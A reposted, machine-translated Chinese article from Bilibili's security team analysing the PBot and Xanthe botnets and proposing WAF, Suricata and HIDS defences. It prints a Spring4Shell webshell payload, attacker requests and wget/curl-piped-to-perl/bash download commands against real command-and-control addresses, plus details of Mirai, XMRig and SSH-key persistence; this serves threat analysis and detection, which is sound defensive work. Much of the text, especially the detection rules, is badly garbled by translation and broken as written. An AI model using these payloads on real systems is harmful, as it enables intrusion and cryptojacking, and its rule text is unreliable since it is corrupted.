区块链网站|NFTS 门罗币(XMR) 哔哩哔哩安全防御系列-僵尸网络

哔哩哔哩安全防御系列-僵尸网络

广告位

B站安全防御系列—僵尸网络

本期作者

屈延峰

高级安全工程师

01.僵尸网络

僵尸网络(Botnet)是指利用一种或多种通信手段,感染并控制数以万计的主机,即黑客常说的傀儡机或“肉鸡机”,并将其组织成指挥控制(CC)节点。控制僵尸网络的攻击者被称为“僵尸主机”(Botmaster),主机通过CC服务器向bot发出命令,发送伪造的虚假数据包或垃圾数据包,从而使目标瘫痪,“拒绝服务”(DDoS)。据公开报道,唐山某黑客曾控制6万台电脑对某音乐网站实施分布式拒绝服务(DDoS)攻击,导致网站无法正常提供服务,损失数百万人民币。

1.1主要特点

1.僵尸网络是一种可控的网络,具有一定的分布性。随着bot程序的不断传播,不断有新的僵尸计算机加入这个网络。

2.采用了一系列恶意通信方式,如高危漏洞攻击、邮件投递等病毒和蠕虫通信方式,可用于传播僵尸网络。从这个意义上说,恶意程序bot也是一种病毒或蠕虫。

3.僵尸网络的主要特点是可以一对多执行相同的恶意行为,比如同时对目标网站发起分布式拒绝服务(DDos)攻击,同时发送大量垃圾邮件。正是这种一对多的控制关系,使得攻击者能够控制大量资源,以极低的成本高效地为其服务。

1.2活动统计

通过威胁情报收集的方式对僵尸网络的活跃度进行统计分析,从安全社区/论坛、国内外厂商报告、安全研究机构等处收集情报数据,如IOC(Indicators of Compromise)情报获取频率、相关报告数量、攻击活动时间等。结合WAF保护日志,对近3个月的活动分析统计如下。安全部门会定期制定安全防御策略,根据活跃僵尸网络的排名实施一系列防御措施。由于篇幅有限,本文将重点讨论最近排名第一和第二的僵尸网络所采取的防御策略。

02.PBot僵尸网络

2.1信息背景

PBot僵尸网络家族是近年来异常活跃的P2P僵尸网络,擅长利用新的漏洞发起攻击,如Spring4Shell漏洞(CVE-2022-22965)和GitLab CE/EE RCE漏洞(CVE-2021-22205)。之所以这样命名,是因为它的bot模块是GitHub开源IRCBot(用Perl语言编写),病毒脚本包含perlbot关键字。公开资料显示,僵尸网络是通过攻击大量互联网主机,植入恶意bot脚本来构建僵尸网络。目前已有数万名受害主机沦陷。

2.2入侵钻石模型

威胁情报分析领域的入侵钻石模型理论可以用来分析僵尸网络组织。该模型基于集合论和图论对入侵活动进行分类并创建一个入侵活动模型。该模型以一个原子元素(“事件”)为基础,由至少四个相互联系(链接)的特征(节点)组成:技术和战术手段、基础设施、受害者和撞击危害。基于入侵钻石模型理论,描述和分析了PBot僵尸网络家族的特征,并建立了档案;

攻击的技术手段(恶意代码、工具、漏洞):Spring4Shell漏洞(CVE-2022-22965)和GitLab CE/EE RCE漏洞(CVE-2021-22205)使用的网络基础设施(IP、域名、邮箱、URL):主机IP攻击的目标特征(行业、地域)。

2.3技术分析

执行流程:攻击者首先利用Spring4Shell(CVE-2022-22965)和GitLab CE/EE RCE(CVE-2021-22205)的漏洞,向受影响的易受攻击主机植入恶意文件,包括恶意脚本jui.sh、僵尸网络模块和局域网(下载ssh突发模块)。恶意脚本jui.sh会下载挖矿shell脚本45.647.txt挖矿门罗币,运行僵尸网络模块lan构建僵尸网络。恶意脚本lans会从89.44.9.246 C2下载lan.jpg,实现SSH爆炸,横向传播,最终形成挖矿僵尸网络。

Spring4Shell漏洞(CVE-2022-22965)

攻击者利用Spring4Shell(CVE-2022-22965)的漏洞向受影响的易受攻击主机植入恶意挖掘脚本和bot模块。Spring4Shell是一个高风险的远程代码执行(RCE)漏洞,它会影响所有运行在JDK 9上的Spring MVC和Spring WebFlux应用程序。分析Spring4Shell漏洞的原理,利用Pbot总结出请求中的以下特征:

特殊请求头get _ headers={ ' prefix '% '' suffix '%/'#这可能看起来很奇怪,但这似乎需要绕过在log _ pattern' c'' runtime '}中查找' runtime '的一些检查

攻击paylaodclass . module . class loader . resources . context . parent . pipeline . first . pattern=% { prefix } I Java . io . inputstream in=% { c } I . get runtime()。exec (request.getparameter (\”cmd \”))。getinputstream();int a=-1;byte[] b=新字节[2048];while((a=in.read(b))!=-1){ out.println(新字符串(b));} % { suffix } iclass . module . class loader . resources . context . parent . pipeline . first . suffix=. JSP class . module . class loader . resources . context . parent . pipeline . first . directory=web apps/root class . module . class loader . resources . first . prefix=shell class . module . class loader . resources . context . parent . pipeline . first . file date format=

下载并执行bot模块GET /shell.jsp?pwd=k3rwincmd=wget-q-O-89.44.9.246/j|perl HTTP/1.1

检测思维保护策略

L WAF: Web应用防火墙,通过对HTTP/HTTPS实施一系列安全策略为Web应用提供保护的安全产品,是哔哩哔哩安全防护系统的第一道防线,l NIDS:网络入侵检测系统,是安全部门基于suricata自主研发的网络入侵检测系统。通过被动监控网络上传输的原始流量,对获取的网络数据进行处理,从中提取有用的信息,然后通过与已知的攻击特征(策略规则配置)进行匹配,识别出攻击事件l IPS(入侵防御系统)。L HIDS,一种检测网络或网络设备间非法流量传输的安全防护设备,是一种基于主机的入侵检测系统,作为监视器和分析器来监视主机系统的动态行为和整个计算机系统的状态。

特殊请求标题

a)使用WAF配置安全策略,检测外网带有特殊请求头的请求,并实时拦截。策略配置如下:

a)配置suricata规则,检测生产线IDC中带有特殊请求头的请求,当恶意攻击请求发出时,服务器会成功响应并产生报警。流链接检测的规则编写如下:

警报http any any-any any(msg:' CVE-2022-22965:Spring 4 shell远程命令执行漏洞检测头');flow:to_server,已建立;内容:“前缀”;http _ headernocase内容:“%”;http _ headernocase内容:“后缀”;http _ headernocase内容:“%”;http _ headernocaseflowbit:set,name1sid:500005;元数据:按自定义;)alert http any any-any(msg:' CVE-2022-22965:Spring 4 shell远程命令执行漏洞检测头-响应'flow:to_client,已建立;内容:' 200 'http _ stat _ code内容:‘好的’;http _ stat _ msgflowbit:isset,name1sid:500006;元数据:按自定义;)

攻击有效载荷

a)使用WAF配置安全策略,检测外网特殊体的请求,实时拦截。策略配置如下:

配置suricata规则检测生产线IDC中特殊请求体的请求,当恶意攻击请求发出时,服务器会成功响应并产生报警。流链接检测规则编写如下:

警报http any any-any any(msg:' CVE-2022-22965:Spring 4 shell远程命令执行漏洞检测请求');flow:to_server,已建立;内容:“前缀”;http _ client _ bodynocase内容:“后缀”;http _ client _ bodynocase内容:“get runtime()”;http _ client _ bodynocase内容:‘类。' module . class loader . resources . context . parent . pipeline . first . pattern 'http _ client _ bodynocasepcre \\ '/\\ % \\ { prefix \\ } I \\ s * Java \\。io\\。InputStream \\ s * in \\ s * \\=\\ s * % \\ { c \\ } I \\。getRuntime\\(\\)\\。exec\\(请求\\)。getParameter\\(\\ '*?\\'\\)\\)\\.getInputStream \\(\\)\\;/Ri 'flowbit:set,name2sid:500007;元数据:按自定义;)alert http any any-any any(msg:' CVE-2022-22965:Spring 4 shell远程命令执行漏洞检测体-响应'flow:to_client,已建立;内容:' 200 'http _ stat _ code内容:‘好的’;http _ stat _ msgflowbit:isset,name2sid:500008;元数据:按自定义;)

下载并执行僵尸网络僵尸模块

a)使用WAF配置安全策略,检测Pbot下载执行僵尸网络bot模块的GET请求,并实时拦截。策略配置如下:

a)配置suricata规则,检测生产线IDC中Pbot下载执行僵尸网络模块的GET请求,当发送恶意攻击请求时,服务器成功响应后产生报警。流链接检测规则编写如下:

预警http any any-any (msg:' PBOT僵尸网络恶意下载执行检测');flow:to_server,已建立;内容:' shell . JSP 'http _ urinocase内容:' cmd=wget 'http _ urinocase内容:‘89 . 44 . 9 . 246’;http _ headerflowbit:set,name3flow bit:no alert;sid:500009;元数据:按自定义;)预警http any any-any any (msg:' PBOT僵尸网络恶意下载执行检测-响应'flow:to_client,已建立;内容:' 200 'http _ stat _ code内容:‘好的’;http _ stat _ msgflowbit:isset,name3sid:500010;元数据:按自定义;)

2 . 3 . 2 RCE git lab CE/EE(CVE-2021-22205)

攻击者利用GitLab CE/EE RCE(CVE-2021-22205)漏洞向受影响的易受攻击主机植入恶意挖掘脚本和bot模块。该漏洞会导致高风险的远程代码执行(RCE),因为GitLab无法正确验证传递给文件解析器的图像文件。本文分析了GitLab CE/EE RCE的使用模式,结合Pbot的使用模式,总结了请求中的以下特点:

获取用户cookie

RCE利用登录请求返回的Cookie值和csrf-token值,利用漏洞接口/uploads/user上传包含恶意代码的镜像文件(如下载僵尸网络的bot模块)实现RCE。

检测思维保护策略

恶意图片上传

a)使用WAF配置安全策略,检测外网Gitlab的/uploads/用户界面上传含有恶意命令的图片文件的请求,并实时拦截。策略配置如下:

a)配置suricata规则,检测向生产线IDC中Gitlab的/uploads/user界面上传包含恶意命令的图片文件的请求,并联动Gitlab登录状态获取请求进行检测:

alert http any any-any any(msg:' git lab登录请求');flow:to_server,已建立;内容:'获取'http _ methodnocase内容:“/users/sign _ in”;http _ urinocaseflowbit:set,gitlabflow bit:no alert;sid:500010;元数据:按自定义;)预警http any any-any any(msg:' CVE-2021-22205:git lab EXIF tool远程命令执行漏洞'flow:to_server,已建立;内容:“/上传/用户”;nocasehttp _ uri快速_模式;内容:“_ git lab _ session”;nocasehttp _ cookie内容:‘版权’;nocasehttp _ client _ bodyflowbit:isset,gitlabsid:500011;元数据:按自定义;)

2.3.3僵尸网络模块下载

利用上述漏洞,可以下载并执行以下三个恶意脚本jui.sh、僵尸网络模块pp和恶意脚本lans,并在流量传输监控中检测/拦截请求中包含的相关下载命令。

1.恶意脚本jui.sh会下载运行僵尸网络模块LAN(Perl编写)构建僵尸网络,下载挖矿shell脚本45.647.txt挖矿门罗币。下载命令如下:

89.44.9.246/lan|perlcurl南89.44.9.246/lan|perlwget89.44.9.246/all/45.647.txt|bashcurl南89.44.9.246/all/45.647.txt|bash2.僵尸网络马胃蝇蛆模块过去分词是使用Perl语言语言编写的分布式拒绝服务攻击模块,下载命令如下:

run.psybnc.org/pp|perlcurl-run.psybnc.org/pp|perl3.南部恶意脚本〈计〉局域网(本地网络)会从C2下载嘘暴破模块lan.jpg(压缩包文件,包含嘘暴破脚本、暴破字典及生成器)来实现内网横向暴破,局域网下载命令如下:

89.44.9.246/lanscurl南89.44.9.246/lans

检测思路防护策略

jui.sh

使用空军妇女队配置安全策略,检测外网存在局域网模块下载请求:

b)配置苏里卡塔规则,检测产线(同工业课程)在适当时候中局域网模块下载请求:

警报http any any – any any(消息:' Pbot僵尸网络马胃蝇蛆模块伊恩模块下载检测;流:to_client,已建立;内容:'兰;http _ headernocase快速_模式;pcre:\”/(wget | curl).*?(89 \\ .44 \\ .9 \\ .246/LAN \\ | perl)/Ri 'sid:500020;元数据:按自定义;)alert http any any-any any(msg:' Pbot僵尸网络马胃蝇蛆模块伊恩模块下载检测;流:to_client,已建立;内容:'兰;http _ client _ bodynocase快速_模式;pcre:\”/(wget | curl).*?(89 \\ .44 \\ .9 \\ .246/LAN \\ | perl)/Ri 'sid:500021;元数据:按自定义;)

c)使用空军妇女队配置安全策略,检测外网存在壳脚本45.647下载请求:

d)配置苏里卡塔规则,检测产线(同工业课程)在适当时候中壳脚本45.647下载请求:

警报http any any – any any(消息:' Pbot僵尸网络马胃蝇蛆模块伊恩模块下载检测;流:to_client,已建立;内容:'txt 'http _ headernocase快速_模式;pcre:\”/(wget | curl).*?(89 \\ .44 \\ .9 \\ .246/所有/。*\\.txt \\ | bash)/Ri 'sid:500022;元数据:按自定义;)alert http any any-any any(msg:' Pbot僵尸网络马胃蝇蛆模块伊恩模块下载检测;流:to_client,已建立;内容:'txt 'http _ client _ bodynocase快速_模式;pcre:\”/(wget | curl).*?(89 \\ .44 \\ .9 \\ .246/所有/。*\\.txt \\ | bash)/Ri 'sid:500023;元数据:按自定义;)

过去分词模块

答使用空军妇女队配置安全策略,检测外网存在过去分词模块下载请求:

b)配置苏里卡塔规则,检测产线(同工业课程)在适当时候中过去分词模块下载请求

警报http any any – any any(消息:' Pbot僵尸网络马胃蝇蛆模块-pp模块下载检测;流:to_client,已建立;内容:‘PP’;http _ headernocase快速_模式;pcre:\”/(wget | curl).*(运行\\。psy BNC \\u .org/PP \\ | perl)/Ri 'sid:500024;元数据:按自定义;)alert http any any-any any(msg:' Pbot僵尸网络马胃蝇蛆模块-pp模块下载检测;流:to_client,已建立;内容:‘PP’;http _ client _ bodynocase快速_模式;pcre:\”/(wget | curl).*(运行\\。psy BNC \\u .org/PP \\ | perl)/Ri 'sid:500025;元数据:按自定义;)

c)根据过去分词模块功能特点,检测产线(同工业课程)在适当时候中分布式拒绝服务请求,由于规则数量众多,仅列举部分规则:

警报UDP any any-any 53(消息:' DDos DNS BIND 9动态更新磁盘操作系统尝试');byte_test:1,40,2;byte_test:1,0,5;byte_test:1,0,1;内容:\”| 00 00 06 |\”;偏移量:8;内容:' | c00c 00 ff | '距离:2;类别类型:已尝试-dos;sid:500026;元数据:按自定义;)警报TCP $ EXTERNAL _ NET any-$ SMTP _ SERVERS 25(消息:' DDos过量SMTP邮件-来自DDos 'flow: to_server,已建立;内容:\”来自|3a| \”的邮件;诺凯斯窗口:0;id:0;阈值:类型限制,track by_src,计数30,秒60;类别类型:拒绝服务;sid:500027;rev:2;元数据:按自定义;)警报UDP $ EXTERNAL _ NET 123-$ HOME _ NET 123(消息:' DDos潜在的入站标准温度和压力拒绝服务尝试(重复的模式七请求)'dsize:1;内容:\”| 17 |\”;阈值:类型限制,计数1,秒60、track by _ srcclasstype:已尝试-dos;sid:500028;rev:2;元数据:按自定义;)

〈计〉局域网(本地网络)模块

答使用空军妇女队配置安全策略,检测外网从C2下载嘘暴破模块〈计〉局域网(本地网络)请求:

b)配置苏里卡塔规则,检测产线(同工业课程)在适当时候中从C2下载嘘暴破模块〈计〉局域网(本地网络)请求:

预警http any any-any (msg:' PBOT僵尸网络模块-pp模块下载检测');flow:to_client,已建立;内容:“局域网”;http _ headernocase快速_模式;pcre:“/(wget | curl)。*(89 \\ . 44 \\ . 9 \\ . 246/LANs)/Ri 'sid:500029;元数据:按自定义;)预警http any any-any (msg:' PBOT僵尸网络模块-pp模块下载检测');flow:to_client,已建立;内容:“局域网”;http _ client _ bodynocase快速_模式;pcre:“/(wget | curl)。*(89 \\ . 44 \\ . 9 \\ . 246/LANs)/Ri 'sid:500030;元数据:按自定义;)

c)根据pp模块的功能特点,使用IPS检测ssh横向突发行为:

03 Xanthe采矿僵尸网络

3.1信息背景

多家安全厂商的报告显示,一个名为“Xanth”的僵尸网络在近两年积极从事挖矿活动。Xanth是一个加密劫持恶意软件家族,其主要目标是劫持系统资源来开采Monero加密货币。Xanthe使用各种方法在网络中传播,比如收集客户端证书使用ssh传播到已知主机,或者使用错误配置的Docker API传播到系统。最新报道称,Xanthe木马不仅继续从事挖矿,还在新版本中增加了传送名为“brickerbotv2”的Mirai未来组合僵尸网络bot程序的功能,攻击者可以利用该程序发起DDoS攻击。

3.2入侵钻石模型

根据威胁情报分析领域的入侵钻石模型理论,我们可以从以下角度描述和分析PBot僵尸网络家族的特征并建档:

攻击的技术手段(恶意代码、工具、漏洞):fczyo、alduro、sesa.txt使用的网络基础设施(IP、域名、邮箱、URL):主机IP攻击目标特征(行业、地域):互联网行业攻击影响危害(终极目标):挖矿。

3.3技术分析

Xanthe挖矿僵尸网络的恶意功能被集成到每个恶意脚本中,主要分为以下三个模块:

http://209.141.34.37/fczyo

http://209 . 141 . 34 . 37/阿尔杜罗

http://209.141.34.37/sesa.txt

fczyo模块

L qbot()函数:本地下载并执行http://45.61.184.81/x86文件。通过对代码内容的分析,发现x86文件是一个基于开源Mirai未来组合代码的ELF可执行程序,类似于网上流行的Mirai未来组合僵尸网络样本,具有反调试、单实例运行、防止重启设备等功能,运行后会自动删除。还通过连接45.61.184.81:81地址接收主控制器发出的DDos攻击指令,支持各种DDoS攻击类型,包括tcp_syn、tcp_ack、tcp_stomp、udp_dns、udp_plain等。

侦查思维防御策略

A) NIDS用于检测生产线流量中的恶意x86文件传输,该文件由md5值唯一标识。如果发现恶意文件报警,会立即在电脑上清理。规则配置如下:

b)防火墙阻止45.61.184.81,这是一个可以连接DDoS指令的恶意地址。

主机函数:分析主机函数的源代码,发现这个函数的主要目的是写131.153.142.106池的地址。Hashvault.pro到本地/etc/host文件。

侦查思维防御策略

A)HIDS检测/etc/host文件是否被修改,如果被修改,它将生成警报并进行干预。策略配置如下:

b)防火墙直接屏蔽矿池地址。

3.3.3.阿尔杜罗模块

filegetgo函数:它将执行下载挖掘程序http://209.141.34.37/adnckil的请求。经过对恶意程序的分析,发现UPX习惯于外壳。经过炮轰,可以看出是2022年7月13日编译的开源XMRig矿机版本6.18.0。

侦查思维防御策略

A) IPS文件检测到adnckil挖矿木马下载,md5值为3932979 ca 166 DC 69 CCA 192490318 f 700。规则配置如下:

b)使用NIDS监控生产线流程中可执行文件的下载。规则如下:

alert http $ EXTERNAL _ NET any-$ HOME _ NET any(msg:'通过HTTP下载可执行文件和链接格式(ELF)文件'流量:已建立;flowbits:isnotset,et。elf下载;file _ data内容:“| 7F | ELF”;以内:4;flowbits:set,et。elf下载;参考:url,www . itee . uq . edu . au/~ Cristina/students/David/honoursthesis 96/BFF . htm;参考:url,doc . emerging threats . net/bin/view/Main/2000 418;classtype:违反策略;sid:2019 240;rev:1;元数据:创建_于2022_09_25,更新_于2022 _ 10 _ 13;)

L sshkeysgo函数:将攻击者的SSH公钥写入authorized_keys文件,实现无密登录。

侦查思维防御策略

A) HIDS定期监视authorized_keys文件是否被写入特殊的SSH公共密钥中。

3.3.3.sesa.txt模块

l sesa.txt模块的指令与fczyo模块相同,即修改/etc/hosts文件,阻断受害主机上原有的安全软件和竞争对手的网络连接,从而达到独占网络带宽的目的。AppArmor是Linux内核中的一个安全模块,它允许系统管理员将每个程序与一个安全配置文件相关联,并可以指定程序可以读取、写入或运行哪些文件,是否可以打开网络端口等。从而限制了程序的性能。

侦查思维防御策略

fczyo模块中检测主机函数的思路是一样的,HIDS监控/etc/hosts文件中的变化。

B) HIDS监控主机是否执行systemctl stop apparmor命令。

作者:屈延峰

来源:微信微信官方账号:科技

资料来源:https://mp.weixin.qq.com/s/X9l4M0RzVJJeNGXmx5TrBw.

广告位
本文来自网络,不代表区块链网站|NFTS立场,转载请注明出处:https://www.qklwz.com/jzb/xmr/44833.html
上一篇
下一篇

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

返回顶部